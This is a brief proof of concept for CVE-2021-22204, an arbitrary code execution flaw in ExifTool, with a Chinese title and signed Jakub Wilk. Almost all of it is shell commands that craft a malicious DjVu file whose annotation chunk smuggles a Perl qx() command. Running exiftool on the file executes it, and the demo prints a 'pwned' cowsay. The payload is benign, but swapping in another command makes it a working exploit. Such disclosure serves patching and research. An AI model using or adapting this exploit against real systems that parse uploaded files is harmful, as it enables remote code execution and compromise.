CVE-2021-22204 ExifTool任意代码执行漏洞/sq

POC

  $ printf 'P1 1 1 0' > moo.pbm
   $ cjb2 moo.pbm moo.djvu
   $ printf 'ANTa\0\0\0\40"(xmp(\\\n".qx(cowsay pwned>&2);#"' >> moo.djvu
   $ exiftool moo.djvu > /dev/null
    _______
   < pwned >
    -------
           \   ^__^
            \  (oo)\_______
               (__)\       )\/\
                   ||----w |
                   ||     ||

-- 
Jakub Wilk